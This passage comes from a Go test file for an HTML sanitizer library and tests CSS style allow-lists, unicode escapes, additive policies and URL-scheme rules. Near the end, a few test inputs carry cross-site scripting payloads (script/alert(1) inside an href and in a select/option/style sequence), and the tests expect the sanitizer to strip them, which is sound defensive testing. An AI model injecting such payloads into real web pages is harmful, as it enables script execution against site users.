3059		{
3060			in:       `<div style="visibility: visible;"></div>`,
3061			expected: `<div style="visibility: visible"></div>`,
3062		},
3063		{
3064			in:       `<div style="white-space: normal;"></div>`,
3065			expected: `<div style="white-space: normal"></div>`,
3066		},
3067		{
3068			in: `<div style="width: 130px;"></div><div style="width: ` +
3069				`auto;"></div>`,
3070			expected: `<div style="width: 130px"></div><div style="width: ` +
3071				`auto"></div>`,
3072		},
3073		{
3074			in:       `<div style="word-break: break-all;"></div>`,
3075			expected: `<div style="word-break: break-all"></div>`,
3076		},
3077		{
3078			in: `<div style="word-spacing: 30px;"></div><div style=` +
3079				`"word-spacing: normal"></div>`,
3080			expected: `<div style="word-spacing: 30px"></div><div style=` +
3081				`"word-spacing: normal"></div>`,
3082		},
3083		{
3084			in:       `<div style="word-wrap: break-word;"></div>`,
3085			expected: `<div style="word-wrap: break-word"></div>`,
3086		},
3087		{
3088			in:       `<div style="writing-mode: vertical-rl;"></div>`,
3089			expected: `<div style="writing-mode: vertical-rl"></div>`,
3090		},
3091		{
3092			in: `<div style="z-index: -1;"></div><div style="z-index:` +
3093				` auto;"></div>`,
3094			expected: `<div style="z-index: -1"></div><div style="z-index:` +
3095				` auto"></div>`,
3096		},
3097	}
3098
3099	p := UGCPolicy()
3100	p.AllowStyles("nonexistentStyle", "align-content", "align-items",
3101		"align-self", "all", "animation", "animation-delay",
3102		"animation-direction", "animation-duration", "animation-fill-mode",
3103		"animation-iteration-count", "animation-name", "animation-play-state",
3104		"animation-timing-function", "backface-visibility", "background",
3105		"background-attachment", "background-blend-mode", "background-clip",
3106		"background-color", "background-image", "background-origin",
3107		"background-position", "background-repeat", "background-size",
3108		"border", "border-bottom", "border-bottom-color",
3109		"border-bottom-left-radius", "border-bottom-right-radius",
3110		"border-bottom-style", "border-bottom-width", "border-collapse",
3111		"border-color", "border-image", "border-image-outset",
3112		"border-image-repeat", "border-image-slice", "border-image-source",
3113		"border-image-width", "border-left", "border-left-color",
3114		"border-left-style", "border-left-width", "border-radius",
3115		"border-right", "border-right-color", "border-right-style",
3116		"border-right-width", "border-spacing", "border-style", "border-top",
3117		"border-top-color", "border-top-left-radius",
3118		"border-top-right-radius", "border-top-style", "border-top-width",
3119		"border-width", "bottom", "box-decoration-break", "box-shadow",
3120		"box-sizing", "break-after", "break-before", "break-inside",
3121		"caption-side", "caret-color", "clear", "clip", "color",
3122		"column-count", "column-fill", "column-gap", "column-rule",
3123		"column-rule-color", "column-rule-style", "column-rule-width",
3124		"column-span", "column-width", "columns", "cursor", "direction",
3125		"display", "empty-cells", "filter", "flex", "flex-basis",
3126		"flex-direction", "flex-flow", "flex-grow", "flex-shrink",
3127		"flex-wrap", "float", "font", "font-family", "font-kerning",
3128		"font-language-override", "font-size", "font-size-adjust",
3129		"font-stretch", "font-style", "font-synthesis", "font-variant",
3130		"font-variant-caps", "font-variant-position", "font-weight", "grid",
3131		"grid-area", "grid-auto-columns", "grid-auto-flow", "grid-auto-rows",
3132		"grid-column", "grid-column-end", "grid-column-gap",
3133		"grid-column-start", "grid-gap", "grid-row", "grid-row-end",
3134		"grid-row-gap", "grid-row-start", "grid-template",
3135		"grid-template-areas", "grid-template-columns", "grid-template-rows",
3136		"hanging-punctuation", "height", "hyphens", "image-rendering",
3137		"isolation", "justify-content", "left", "letter-spacing", "line-break",
3138		"line-height", "list-style", "list-style-image", "list-style-position",
3139		"list-style-type", "margin", "margin-bottom", "margin-left",
3140		"margin-right", "margin-top", "max-height", "max-width", "min-height",
3141		"min-width", "mix-blend-mode", "object-fit", "object-position",
3142		"opacity", "order", "orphans", "outline", "outline-color",
3143		"outline-offset", "outline-style", "outline-width", "overflow",
3144		"overflow-wrap", "overflow-x", "overflow-y", "padding",
3145		"padding-bottom", "padding-left", "padding-right", "padding-top",
3146		"page-break-after", "page-break-before", "page-break-inside",
3147		"perspective", "perspective-origin", "pointer-events", "position",
3148		"quotes", "resize", "right", "scroll-behavior", "tab-size",
3149		"table-layout", "text-align", "text-align-last",
3150		"text-combine-upright", "text-decoration", "text-decoration-color",
3151		"text-decoration-line", "text-decoration-style", "text-indent",
3152		"text-justify", "text-orientation", "text-overflow", "text-shadow",
3153		"text-transform", "top", "transform", "transform-origin",
3154		"transform-style", "transition", "transition-delay",
3155		"transition-duration", "transition-property",
3156		"transition-timing-function", "unicode-bidi", "user-select",
3157		"vertical-align", "visibility", "white-space", "widows", "width",
3158		"word-break", "word-spacing", "word-wrap", "writing-mode",
3159		"z-index").Globally()
3160	p.RequireParseableURLs(true)
3161
3162	// These tests are run concurrently to enable the race detector to pick up
3163	// potential issues
3164	wg := sync.WaitGroup{}
3165	wg.Add(len(tests))
3166	for ii, tt := range tests {
3167		go func(ii int, tt test) {
3168			out := p.Sanitize(tt.in)
3169			if out != tt.expected {
3170				t.Errorf(
3171					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3172					ii,
3173					tt.in,
3174					out,
3175					tt.expected,
3176				)
3177			}
3178			wg.Done()
3179		}(ii, tt)
3180	}
3181	wg.Wait()
3182}
3183
3184func TestUnicodePoints(t *testing.T) {
3185
3186	tests := []test{
3187		{
3188			in:       `<div style="color: \72 ed;"></div>`,
3189			expected: `<div style="color: \72 ed"></div>`,
3190		},
3191		{
3192			in:       `<div style="color: \0072 ed;"></div>`,
3193			expected: `<div style="color: \0072 ed"></div>`,
3194		},
3195		{
3196			in:       `<div style="color: \000072 ed;"></div>`,
3197			expected: `<div style="color: \000072 ed"></div>`,
3198		},
3199		{
3200			in:       `<div style="color: \000072ed;"></div>`,
3201			expected: `<div style="color: \000072ed"></div>`,
3202		},
3203		{
3204			in:       `<div style="color: \100072ed;"></div>`,
3205			expected: `<div></div>`,
3206		},
3207	}
3208
3209	p := UGCPolicy()
3210	p.AllowStyles("color").Globally()
3211	p.RequireParseableURLs(true)
3212
3213	// These tests are run concurrently to enable the race detector to pick up
3214	// potential issues
3215	wg := sync.WaitGroup{}
3216	wg.Add(len(tests))
3217	for ii, tt := range tests {
3218		go func(ii int, tt test) {
3219			out := p.Sanitize(tt.in)
3220			if out != tt.expected {
3221				t.Errorf(
3222					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3223					ii,
3224					tt.in,
3225					out,
3226					tt.expected,
3227				)
3228			}
3229			wg.Done()
3230		}(ii, tt)
3231	}
3232	wg.Wait()
3233}
3234
3235func TestMatchingHandler(t *testing.T) {
3236	truthHandler := func(value string) bool {
3237		return true
3238	}
3239
3240	tests := []test{
3241		{
3242			in:       `<div style="color: invalidValue"></div>`,
3243			expected: `<div style="color: invalidValue"></div>`,
3244		},
3245	}
3246
3247	p := UGCPolicy()
3248	p.AllowStyles("color").MatchingHandler(truthHandler).Globally()
3249	p.RequireParseableURLs(true)
3250
3251	// These tests are run concurrently to enable the race detector to pick up
3252	// potential issues
3253	wg := sync.WaitGroup{}
3254	wg.Add(len(tests))
3255	for ii, tt := range tests {
3256		go func(ii int, tt test) {
3257			out := p.Sanitize(tt.in)
3258			if out != tt.expected {
3259				t.Errorf(
3260					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3261					ii,
3262					tt.in,
3263					out,
3264					tt.expected,
3265				)
3266			}
3267			wg.Done()
3268		}(ii, tt)
3269	}
3270	wg.Wait()
3271}
3272
3273func TestStyleBlockHandler(t *testing.T) {
3274	truthHandler := func(value string) bool {
3275		return true
3276	}
3277
3278	tests := []test{
3279		{
3280			in:       ``,
3281			expected: ``,
3282		},
3283	}
3284
3285	p := UGCPolicy()
3286	p.AllowStyles("color").MatchingHandler(truthHandler).Globally()
3287	p.RequireParseableURLs(true)
3288
3289	// These tests are run concurrently to enable the race detector to pick up
3290	// potential issues
3291	wg := sync.WaitGroup{}
3292	wg.Add(len(tests))
3293	for ii, tt := range tests {
3294		go func(ii int, tt test) {
3295			out := p.Sanitize(tt.in)
3296			if out != tt.expected {
3297				t.Errorf(
3298					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3299					ii,
3300					tt.in,
3301					out,
3302					tt.expected,
3303				)
3304			}
3305			wg.Done()
3306		}(ii, tt)
3307	}
3308	wg.Wait()
3309}
3310
3311func TestAdditivePolicies(t *testing.T) {
3312	t.Run("AllowAttrs", func(t *testing.T) {
3313		p := NewPolicy()
3314		p.AllowAttrs("class").Matching(regexp.MustCompile("red")).OnElements("span")
3315
3316		t.Run("red", func(t *testing.T) {
3317			tests := []test{
3318				{
3319					in:       `<span class="red">test</span>`,
3320					expected: `<span class="red">test</span>`,
3321				},
3322				{
3323					in:       `<span class="green">test</span>`,
3324					expected: `<span>test</span>`,
3325				},
3326				{
3327					in:       `<span class="blue">test</span>`,
3328					expected: `<span>test</span>`,
3329				},
3330			}
3331
3332			for ii, tt := range tests {
3333				out := p.Sanitize(tt.in)
3334				if out != tt.expected {
3335					t.Errorf(
3336						"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3337						ii,
3338						tt.in,
3339						out,
3340						tt.expected,
3341					)
3342				}
3343			}
3344		})
3345
3346		p.AllowAttrs("class").Matching(regexp.MustCompile("green")).OnElements("span")
3347
3348		t.Run("green", func(t *testing.T) {
3349			tests := []test{
3350				{
3351					in:       `<span class="red">test</span>`,
3352					expected: `<span class="red">test</span>`,
3353				},
3354				{
3355					in:       `<span class="green">test</span>`,
3356					expected: `<span class="green">test</span>`,
3357				},
3358				{
3359					in:       `<span class="blue">test</span>`,
3360					expected: `<span>test</span>`,
3361				},
3362			}
3363
3364			for ii, tt := range tests {
3365				out := p.Sanitize(tt.in)
3366				if out != tt.expected {
3367					t.Errorf(
3368						"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3369						ii,
3370						tt.in,
3371						out,
3372						tt.expected,
3373					)
3374				}
3375			}
3376		})
3377
3378		p.AllowAttrs("class").Matching(regexp.MustCompile("yellow")).OnElements("span")
3379
3380		t.Run("yellow", func(t *testing.T) {
3381			tests := []test{
3382				{
3383					in:       `<span class="red">test</span>`,
3384					expected: `<span class="red">test</span>`,
3385				},
3386				{
3387					in:       `<span class="green">test</span>`,
3388					expected: `<span class="green">test</span>`,
3389				},
3390				{
3391					in:       `<span class="blue">test</span>`,
3392					expected: `<span>test</span>`,
3393				},
3394			}
3395
3396			for ii, tt := range tests {
3397				out := p.Sanitize(tt.in)
3398				if out != tt.expected {
3399					t.Errorf(
3400						"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3401						ii,
3402						tt.in,
3403						out,
3404						tt.expected,
3405					)
3406				}
3407			}
3408		})
3409	})
3410
3411	t.Run("AllowStyles", func(t *testing.T) {
3412		p := NewPolicy()
3413		p.AllowAttrs("style").OnElements("span")
3414		p.AllowStyles("color").Matching(regexp.MustCompile("red")).OnElements("span")
3415
3416		t.Run("red", func(t *testing.T) {
3417			tests := []test{
3418				{
3419					in:       `<span style="color: red">test</span>`,
3420					expected: `<span style="color: red">test</span>`,
3421				},
3422				{
3423					in:       `<span style="color: green">test</span>`,
3424					expected: `<span>test</span>`,
3425				},
3426				{
3427					in:       `<span style="color: blue">test</span>`,
3428					expected: `<span>test</span>`,
3429				},
3430			}
3431
3432			for ii, tt := range tests {
3433				out := p.Sanitize(tt.in)
3434				if out != tt.expected {
3435					t.Errorf(
3436						"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3437						ii,
3438						tt.in,
3439						out,
3440						tt.expected,
3441					)
3442				}
3443			}
3444		})
3445
3446		p.AllowStyles("color").Matching(regexp.MustCompile("green")).OnElements("span")
3447
3448		t.Run("green", func(t *testing.T) {
3449			tests := []test{
3450				{
3451					in:       `<span style="color: red">test</span>`,
3452					expected: `<span style="color: red">test</span>`,
3453				},
3454				{
3455					in:       `<span style="color: green">test</span>`,
3456					expected: `<span style="color: green">test</span>`,
3457				},
3458				{
3459					in:       `<span style="color: blue">test</span>`,
3460					expected: `<span>test</span>`,
3461				},
3462			}
3463
3464			for ii, tt := range tests {
3465				out := p.Sanitize(tt.in)
3466				if out != tt.expected {
3467					t.Errorf(
3468						"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3469						ii,
3470						tt.in,
3471						out,
3472						tt.expected,
3473					)
3474				}
3475			}
3476		})
3477
3478		p.AllowStyles("color").Matching(regexp.MustCompile("yellow")).OnElements("span")
3479
3480		t.Run("yellow", func(t *testing.T) {
3481			tests := []test{
3482				{
3483					in:       `<span style="color: red">test</span>`,
3484					expected: `<span style="color: red">test</span>`,
3485				},
3486				{
3487					in:       `<span style="color: green">test</span>`,
3488					expected: `<span style="color: green">test</span>`,
3489				},
3490				{
3491					in:       `<span style="color: blue">test</span>`,
3492					expected: `<span>test</span>`,
3493				},
3494			}
3495
3496			for ii, tt := range tests {
3497				out := p.Sanitize(tt.in)
3498				if out != tt.expected {
3499					t.Errorf(
3500						"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3501						ii,
3502						tt.in,
3503						out,
3504						tt.expected,
3505					)
3506				}
3507			}
3508		})
3509	})
3510
3511	t.Run("AllowURLSchemeWithCustomPolicy", func(t *testing.T) {
3512		p := NewPolicy()
3513		p.AllowAttrs("href").OnElements("a")
3514
3515		p.AllowURLSchemeWithCustomPolicy(
3516			"http",
3517			func(url *url.URL) bool {
3518				return url.Hostname() == "example.org"
3519			},
3520		)
3521
3522		t.Run("example.org", func(t *testing.T) {
3523			tests := []test{
3524				{
3525					in:       `<a href="http://example.org/">test</a>`,
3526					expected: `<a href="http://example.org/">test</a>`,
3527				},
3528				{
3529					in:       `<a href="http://example2.org/">test</a>`,
3530					expected: `test`,
3531				},
3532				{
3533					in:       `<a href="http://example4.org/">test</a>`,
3534					expected: `test`,
3535				},
3536			}
3537
3538			for ii, tt := range tests {
3539				out := p.Sanitize(tt.in)
3540				if out != tt.expected {
3541					t.Errorf(
3542						"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3543						ii,
3544						tt.in,
3545						out,
3546						tt.expected,
3547					)
3548				}
3549			}
3550		})
3551
3552		p.AllowURLSchemeWithCustomPolicy(
3553			"http",
3554			func(url *url.URL) bool {
3555				return url.Hostname() == "example2.org"
3556			},
3557		)
3558
3559		t.Run("example2.org", func(t *testing.T) {
3560			tests := []test{
3561				{
3562					in:       `<a href="http://example.org/">test</a>`,
3563					expected: `<a href="http://example.org/">test</a>`,
3564				},
3565				{
3566					in:       `<a href="http://example2.org/">test</a>`,
3567					expected: `<a href="http://example2.org/">test</a>`,
3568				},
3569				{
3570					in:       `<a href="http://example4.org/">test</a>`,
3571					expected: `test`,
3572				},
3573			}
3574
3575			for ii, tt := range tests {
3576				out := p.Sanitize(tt.in)
3577				if out != tt.expected {
3578					t.Errorf(
3579						"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3580						ii,
3581						tt.in,
3582						out,
3583						tt.expected,
3584					)
3585				}
3586			}
3587		})
3588
3589		p.AllowURLSchemeWithCustomPolicy(
3590			"http",
3591			func(url *url.URL) bool {
3592				return url.Hostname() == "example3.org"
3593			},
3594		)
3595
3596		t.Run("example3.org", func(t *testing.T) {
3597			tests := []test{
3598				{
3599					in:       `<a href="http://example.org/">test</a>`,
3600					expected: `<a href="http://example.org/">test</a>`,
3601				},
3602				{
3603					in:       `<a href="http://example2.org/">test</a>`,
3604					expected: `<a href="http://example2.org/">test</a>`,
3605				},
3606				{
3607					in:       `<a href="http://example4.org/">test</a>`,
3608					expected: `test`,
3609				},
3610			}
3611
3612			for ii, tt := range tests {
3613				out := p.Sanitize(tt.in)
3614				if out != tt.expected {
3615					t.Errorf(
3616						"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3617						ii,
3618						tt.in,
3619						out,
3620						tt.expected,
3621					)
3622				}
3623			}
3624		})
3625	})
3626}
3627
3628func TestHrefSanitization(t *testing.T) {
3629	tests := []test{
3630		{
3631			in:       `abc<a href="https://abc&quot;&gt;<script&gt;alert(1)<&#x2f;script/">CLICK`,
3632			expected: `abc<a href="https://abc&amp;quot;&gt;&lt;script&gt;alert(1)&lt;/script/" rel="nofollow">CLICK`,
3633		},
3634		{
3635			in:       `<a href="https://abc&quot;&gt;<script&gt;alert(1)<&#x2f;script/">`,
3636			expected: `<a href="https://abc&amp;quot;&gt;&lt;script&gt;alert(1)&lt;/script/" rel="nofollow">`,
3637		},
3638	}
3639
3640	p := UGCPolicy()
3641
3642	// These tests are run concurrently to enable the race detector to pick up
3643	// potential issues
3644	wg := sync.WaitGroup{}
3645	wg.Add(len(tests))
3646	for ii, tt := range tests {
3647		go func(ii int, tt test) {
3648			out := p.Sanitize(tt.in)
3649			if out != tt.expected {
3650				t.Errorf(
3651					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3652					ii,
3653					tt.in,
3654					out,
3655					tt.expected,
3656				)
3657			}
3658			wg.Done()
3659		}(ii, tt)
3660	}
3661	wg.Wait()
3662}
3663
3664func TestInsertionModeSanitization(t *testing.T) {
3665	tests := []test{
3666		{
3667			in:       `<select><option><style><script>alert(1)</script>`,
3668			expected: `<select><option>`,
3669		},
3670	}
3671
3672	p := UGCPolicy()
3673	p.AllowElements("select", "option", "style")
3674
3675	// These tests are run concurrently to enable the race detector to pick up
3676	// potential issues
3677	wg := sync.WaitGroup{}
3678	wg.Add(len(tests))
3679	for ii, tt := range tests {
3680		go func(ii int, tt test) {
3681			out := p.Sanitize(tt.in)
3682			if out != tt.expected {
3683				t.Errorf(
3684					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
3685					ii,
3686					tt.in,
3687					out,
3688					tt.expected,
3689				)
3690			}
3691			wg.Done()
3692		}(ii, tt)
3693	}
3694	wg.Wait()
3695}
3696